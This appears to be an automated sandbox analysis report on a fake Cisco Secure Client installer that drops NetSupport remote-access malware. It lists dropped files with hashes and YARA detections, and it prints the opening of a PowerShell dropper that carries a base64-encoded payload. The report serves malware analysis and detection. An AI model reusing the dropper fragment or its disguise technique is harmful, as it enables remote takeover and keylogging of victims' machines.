SHA-256:	506AB485FE0DA85C6DF6D0B7ABBAD412ACA6A8EB3F575DFC2C81662107054792
SHA-512:	12D14D027679FE76820148D51A9B8AEAF5D024C5D49A85238B2D70780D05F046EEAB1F7A7EC8E50EE64851E3D9033443FF64E01FBCA35AE1AE56E5D09F4BB8D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y=MA8S.A8S.A8S.USR.D8S.A8R.l8S.USP.E8S.USW.D8S..M[.D8S..M..@8S..MQ.@8S.RichA8S.................PE..d......a.........."............................@....................................#M....`a................................................\|...<.......H................!...... .......T..............................................x............................text...bu.......v.................. ..h.rdata..\|............z..............@..H.data...............................@....pdata..............................@..HPAGE................................ ..`INIT................................ ..b.rsrc...H...........................@..B.reloc.. ...........................@..B................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\zlib1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	89192
Entropy (8bit):	7.008180217438666
Encrypted:	false
SSDEEP:	1536:YWM3/1/n8silQ0Fu/ILuhcWnToIfJ9IOlIOOCxf8z5xP9YFxKQ:Je/8hWiuwLuhPTBfJ3vOCxf8JvQ
MD5:	DDD6A5364B689408B502CA21276645E1
SHA1:	B9B7643A8ADC0C1C0170DEB4834079572A0EC8D5
SHA-256:	6613A22498BD14CD46AC678F7B50675A084CA04FA923FE8F6D731C1CB703C324
SHA-512:	26661FD5918F6FDBA5C08C260534E484DC1D79A45E4797E64482B7B2E2CA8EBA1B6427984CF6072C08D5A88A3CA154F7DD1DAE73E91CB5A1D80B85B9B3DE10AC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m...)...)...)... .!.#...{..*...O.O.-...{.."...{..#...{..(...=...+...)..........&......(.....M.(...).%.(......(...Rich)...................PE..L......d...........!.........b...............................................P......2q....@A........................@...`............0..X...............hH...@......T...T...............................@............................................text...f........................... ..`.rdata..nQ.......R..................@..@.data........ ......................@....rsrc...X....0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\is-BOBU7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3572797
Entropy (8bit):	6.528409328427541
Encrypted:	false
SSDEEP:	98304:iJYVM+LtVt3P/KuG2ONG9iqLRQf333f5va:zVL/tnHGYiqlN
MD5:	CE7CF9ABC22DF2C802EF4938FADCB50A
SHA1:	F324AD2E8A1FF30F422EB3BB13B8E80B98BBDCAF
SHA-256:	0F0DAB61B8063CCB7AD2D178B5116A93031DB0721CCAA2B2538C79738407543C
SHA-512:	DF3BEF6A84F0FFF93735FA589452039F1BA38C77D8B03E81C3CEC77DA4C03E45EF5094DC8588A58B9D3742A7E63B9D9EA40A88A6013DCA9CF7A452ACBD3EB413
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f....................`..................@...........................7...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Program Files (x86)\Cisco\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	InnoSetup Log Cisco Systems {502F2F47-B99C-4049-8968-7EC11BF4EBD6}, version 0x418, 6157747 bytes, 830021\37\user\376, C:\Program Files (x86)\Cisco\376\377\377\0
Category:	dropped
Size (bytes):	6157747
Entropy (8bit):	4.028538854111716
Encrypted:	false
SSDEEP:	49152:9ZN088Ml3I8j90EPF6fGLt6q07weH5cQCr2G4PvyUY:X
MD5:	AD51ED8FBD938342BB6EF9DA76D1446A
SHA1:	1C5856D6B594BD154C642CC9BFFE6EC1D4F4C956
SHA-256:	DEF55FCB888042135B02DDBA91FC361315BB0EA90DA5FE198047F618613D9EC0
SHA-512:	5D1DC65379624B1D3ACEE5A829FC45B430991EEBF61A0F6EB1166FC490B839482DFAF34A4F6789086ABC8D4FFF2BED4E6C968BC039E2FEF0B21B0167DD28E8C0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupportDownloader, Description: Yara detected NetSupport Downloader, Source: C:\Program Files (x86)\Cisco\unins000.dat, Author: Joe Security
Preview:	Inno Setup Uninstall Log (b)....................................{502F2F47-B99C-4049-8968-7EC11BF4EBD6}}.........................................................................................Cisco Systems.......................................................................................................................X.....]..................................................................................................................F............h}......s........8.3.0.0.2.1......j.o.n.e.s......C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.i.s.c.o....................!.. .......\...T..IFPS....#........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM.........TEXECWAIT.........TSETUPSTEP.....u...........!MAIN....-1.v.......

C:\Program Files (x86)\Cisco\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3572797
Entropy (8bit):	6.528409328427541
Encrypted:	false
SSDEEP:	98304:iJYVM+LtVt3P/KuG2ONG9iqLRQf333f5va:zVL/tnHGYiqlN
MD5:	CE7CF9ABC22DF2C802EF4938FADCB50A
SHA1:	F324AD2E8A1FF30F422EB3BB13B8E80B98BBDCAF
SHA-256:	0F0DAB61B8063CCB7AD2D178B5116A93031DB0721CCAA2B2538C79738407543C
SHA-512:	DF3BEF6A84F0FFF93735FA589452039F1BA38C77D8B03E81C3CEC77DA4C03E45EF5094DC8588A58B9D3742A7E63B9D9EA40A88A6013DCA9CF7A452ACBD3EB413
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f....................`..................@...........................7...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Cisco\Cisco Secure Client for Windows.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Fri Nov 1 10:11:24 2024, mtime=Fri Nov 1 10:11:24 2024, atime=Tue Aug 15 15:45:32 2023, length=3058280, window=hide
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	4.497872089707436
Encrypted:	false
SSDEEP:	24:8mN6WE/dOEa3eY3bLGN6SgGq3EAT8Md/731d/kmfUUEbvqyFm:8mN6J/dOHANCTT8Md/z1d/kmMSyF
MD5:	E388299DCC38A91BCB0E566AFAA86B6B
SHA1:	CED015F5A5BE44CCF7CC79498898FDB5B6EC6D64
SHA-256:	0D00E5B6301B42C4EDEDC0E07817DFD17829555E2464EEE8724BB79DA6723FDB
SHA-512:	F25DFCA0BC35877B4F288D66765A7F9D48E985C4D41CAFE1AF37EF3817F121C784FB4EDE9B14E44B3AD6B85CD87968C0D3E626AA539FF707AE2E63CAA7F925DD
Malicious:	false
Preview:	L..................F.... ....<..N,.....N,.........h......................./....P.O. .:i.....+00.../C:\.....................1.....aY]Y..PROGRA~2.........O.IaY]Y....................V.....34..P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....P.1.....aYkY..Cisco.<......aYkYaYkY..........................2.6.C.i.s.c.o.....p.1.....aYlY..CISCOS~1..X......aYkYaYlY.............................C.i.s.c.o. .S.e.c.u.r.e. .C.l.i.e.n.t.....H.1.....aYmY..UI..6......aYmYaYmY...........................E..U.I.....`.2.h....W.. .csc_ui.exe..F......aYmYaYmY..............................c.s.c._.u.i...e.x.e.......m...............-.......l...........b........C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui.exe..M.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.i.s.c.o.\.C.i.s.c.o. .S.e.c.u.r.e. .C.l.i.e.n.t.\.U.I.\.c.s.c._.u.i...e.x.e.3.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.i.s.c.o.\.C.i.s.c.o. .S.e.c.u.r.e. .C.l.i.e.n.t.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loca[1].htm

Download File

Process:	C:\Users\user\AppData\Roaming\Cisco\client32.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	15
Entropy (8bit):	2.7329145639793984
Encrypted:	false
SSDEEP:	3:QJgTG:QkG
MD5:	8AB0D91EF06123198FFAC30AD08A14C7
SHA1:	46D83BB84F74D8F28427314C6084CC9AFE9D1533
SHA-256:	DB50064FEE42FB57DCFD9C4269A682331246224D6108A18DB83ABD400CCECA12
SHA-512:	1AA8560708AD663C4D5D0C2199E2CE472D11748EDA18848AAA3430C6F333BB04DA65DFFF4144BFEEA3860CA30F7F832EC64FF6D5B0731AC8878050601AC7A3A3
Malicious:	false
Preview:	32.7767,-96.797

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1772
Entropy (8bit):	5.467764531932053
Encrypted:	false
SSDEEP:	48:QN1WSU4xympx4RfoUP7mZ9tlNWR831NTx99001dqZ0:QPLHxv/IwBZXW8n7S01YZ0
MD5:	8A22891FE710EAC74DE50BBEA21B2C13
SHA1:	FDD95DE1545BE9AE35B14D78A77FADB35151A8BC
SHA-256:	798FB3C47E7006ACDEAB0C355240FA2A9218D0E865A2AACF07ABCBB40EFCE2A0
SHA-512:	EAE44AEEE14333776C6B93D53F5C15211038F9CB159A29601C418083189D68AD6414FBCF591EA7A58A15C378D3EF3C0964A2DADB2355DC7AAC0DA491A759D6A3
Malicious:	false
Preview:	@...e...........S....................................@..........P................1]...E.....'.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kjt54jnc.s4f.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w3dk0apm.rmt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ynyqbgby.oll.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmnvcera.wc1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp

Download File

Process:	C:\Users\user\Desktop\CiscoSetup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3548672
Entropy (8bit):	6.54053651576307
Encrypted:	false
SSDEEP:	98304:6JYVM+LtVt3P/KuG2ONG9iqLRQf333f5vC:LVL/tnHGYiqlz
MD5:	BFD84005E52425F9B8FE658B9663E1C4
SHA1:	49C54A003678DC14A19AC5D07C9BF053B8CD0683
SHA-256:	2EA785B8A4CF5C5FC457350A4C636DAC40137269A1A93D24C1083F1F77324D5D
SHA-512:	3E4E2A32F50C6BB200AF8A37C8653EF55E6D8FF47042266181546FD1CCF125A4FD5D2B7D8801D9179BF5E899C4992092895EE6F0D3F4E11AC8D5A1F40E5F82BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f....................`..................@...........................7...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	ASCII text, with very long lines (65337), with CRLF line terminators
Category:	dropped
Size (bytes):	3035662
Entropy (8bit):	5.9992843080053095
Encrypted:	false
SSDEEP:	49152:Ae6uUAecyy1q8n4RkErBHwnnDkKKr9r6riooJc98haMA:f
MD5:	2D47F35F6EC3ABDFA6DF92CB13BEF294
SHA1:	16E532CAAC6B7176369F5FA29A869FFA0DEF8947
SHA-256:	85C3C72A135EE57914D27C563E9AE31F417AF72FA04AB2D3A09F10EB674455CB
SHA-512:	E6BE961E4F384749F621E3B14F2B1468F3218480DE3EEAA0C7A6448F70911FC942B30D1C135729EDEA9BD489C8B5F42FD255617A79428568DF2A58F9D6C0E134
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupportDownloader, Description: Yara detected NetSupport Downloader, Source: C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1, Author: Joe Security
Preview:	$ErrorActionPreference = "Stop";..Set-Location $Env:AppData;..$destinationPath = "$Env:AppData\Cisco";..if (Test-Path $destinationPath) {.. Remove-Item "$Env:AppData\temp_base64.txt";.. Exit;..};..$base64Content = "UEsDBBQACAAIAPAw5zYAAAAAAAAAAEgBAAAMACAAbnNrYmZsdHIuaW5mVVQNAAd0A49GGaUPZ3QDj0Z1eAsAAQQAAAAABAAAAABVj8GKwkAMhu8D8w5BPG4LHjxJTyu9KEVo2R6WRaZORoPjDGRGi2+/01oLhhxCkv//kg24cO2MjZyTM1JsUkJVww6fnVesoSQbkYfuNGwuFCDtgiGLqQhRWRsgXhDabQklqxv2nq/QkVNMGKSQ4vcHOZB3f1LUdHYq3hmLxbIlp30foGqWCykO7B+kkYuq3g+iFzDLsvlG+PYTEPmNVjH5QjbGqBh581dVk7faJO7upk2N/KATQjE7fs3Vsdcm4Cl+yN/NSb+njhU/p2eSzSpfD/tS/ANQSwcI96jtkdUAAABIAQAAUEsDBBQACAAIAI4MBVcAAAAAAAAAAAMBAAAHACAATlNNLkxJQ1VUDQAHbH3NZGx9zWRsfc1kdXgLAAEEAAAAAAQAAAAALY/RTkIxDIbvm+wd9gLKtoMKml0Chig3xAtDyMkcJSzObukGHt7eM7W9+r82X1NtlBKgBofu44h3XoCAJ7nBuj3nnLjKl+CRCspliHjbZiskZFfxIBNJ3T3qe3kj9Xyi5hOj9EMTtN7tFnRM7HG//439v2hMPlHlFPtE8WrH6zjkwFcrIJDzNVywwfi3jna1fF6v39+mnYAvN5ToLlisVq0EpGKsFpA5Hc6+jlhAQQ4u9pTsZvs668zUzEZ44kCf/Te73OSVHZX2nlUCfgBQSwcIFelrJc4

C:\Users\user\AppData\Roaming\Cisco\AudioCapture.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	93560
Entropy (8bit):	6.5461580255883876
Encrypted:	false
SSDEEP:	1536:wrOxDJs/Ksdl0R1dBmhFXxRpP9JNvbnPUGI:3yXlQmhhHp9J9bnPTI
MD5:	4182F37B9BA1FA315268C669B5335DDE
SHA1:	2C13DA0C10638A5200FED99DCDCF0DC77A599073
SHA-256:	A74612AE5234D1A8F1263545400668097F9EB6A01DFB8037BC61CA9CAE82C5B8
SHA-512:	4F22AD5679A844F6ED248BF2594AF94CF2ED1E5C6C5441F0FB4DE766648C17D1641A6CE7C816751F0520A3AE336479C15F3F8B6EBE64A76C38BC28A02FF0F5DC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Cisco\AudioCapture.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........in.:n.:n.:g.6:\|.:g. :".:g.':J.:g.0:i.:n.:5.:g.):i.:g.1:o.:p.7:o.:g.2:o.:Richn.:........PE..L......U...........!.........j.......S............0.................................5f..............................@..-...."..P....P..X............D..x)...`..4...p...................................@...............@............................text............................... ..`.rdata..m;.......<..................@..@.data........0......................@....rsrc...X....P.......$..............@..@.reloc..T....`.......,..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cisco\HTCTL32.DLL

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Cisco\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cisco\NSM.LIC

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	5.103526864179364
Encrypted:	false
SSDEEP:	6:O/oPzQyak4xRPjwxXTkoaydDKHMoEEjLgpW2Mch6IXZNWYpPM/ioUBENLa8l6i7s:XbQyaZR7wxooT8JjjqW2Ma6aNBPM/ioc
MD5:	866C96BA2823AC5FE70130DFAAA08531
SHA1:	892A656DA1EA264C73082DA8C6E5F5728ABCB861
SHA-256:	6A7C99E4BD767433C25D6DF8DF81BAA99C05DD24FA064E45C306FF4D954E1921
SHA-512:	0DAFC66222BBFCB1558D9845EE4DDEB7A687561B08B86A07B66B120C22952A8082E041D9234D9C69C8ADE5D4DAE894D3F10AFD7BA6DD3F057A08FB5D57C42112
Malicious:	true
Preview:	1200..0xaeabfe5c....; NetSupport License File...; Generated on 13:16 - 19/09/2017........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=GFHJJYU43..maxslaves=100000..os2=1..product=10..serial_no=NSM832428..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Roaming\Cisco\PCICHEK.DLL

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Cisco\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cisco\PCICL32.DLL

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3642864
Entropy (8bit):	6.5156874906689275
Encrypted:	false
SSDEEP:	49152:5fgiLcxYMP9Y7fPUVBS7jNOXhmSTwpa1ycVSENqb:5fhLcxYMePUCjzGS7
MD5:	214A714EF11C2C91162A9344BF8F2E50
SHA1:	B87886B6B1E48E5E54E3033BE9A73B67B5A5C282
SHA-256:	74DFCD891813058B29B0A70EC0A95F31CD5356F175AD3A492DAECBC52542E76F
SHA-512:	A785D390C7E066628C9894302CA10AC21BA79D9988523D5ABCB960870A39112D01984A86CDE0BCD3862D46D82696E35BA760D96A389C96553ECB1DB9C3A0D97D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\Cisco\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Cisco\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h..........<G.............-..........q............q.....q......-.Q....,.\|.....................Rich............PE..L.....3V...........!.................^.......................................08.......7.....................................t........ ..P............x7.......6.........................................@...................8x..`....................text............................... ..`.rdata..............................@..@.data....%..........................@....tls.................t..............@....hhshare.............v..............@....rsrc...P.... .......x..............@..@.reloc...,....6......J5.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cisco\TCCTL32.DLL

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	459760
Entropy (8bit):	6.678291257338415
Encrypted:	false
SSDEEP:	12288:suqhtvbez3wj9AP8Ah0DAmlse99fow3/qkxf5iJg0nTUtnTvm:s3htk/eHoJktEKITUFTvm
MD5:	69F72AD2DAD99FF0FBC7F2C671523014
SHA1:	8AAAB0955014B89CA794A51DD527D3AFE6F38A94
SHA-256:	23F17CC168CC82B8AE16F3FC041D4465E1B12E66DCAC1713F582F99303A740DD
SHA-512:	EA18D92790F52405027666B7501CF908426B9B57FEC4157A45D86387D50324E414644245269DC1A0567B27C6C4B7C4B323D692BF449ADD4797DFCD7101531349
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Cisco\TCCTL32.DLL, Author: Joe Security
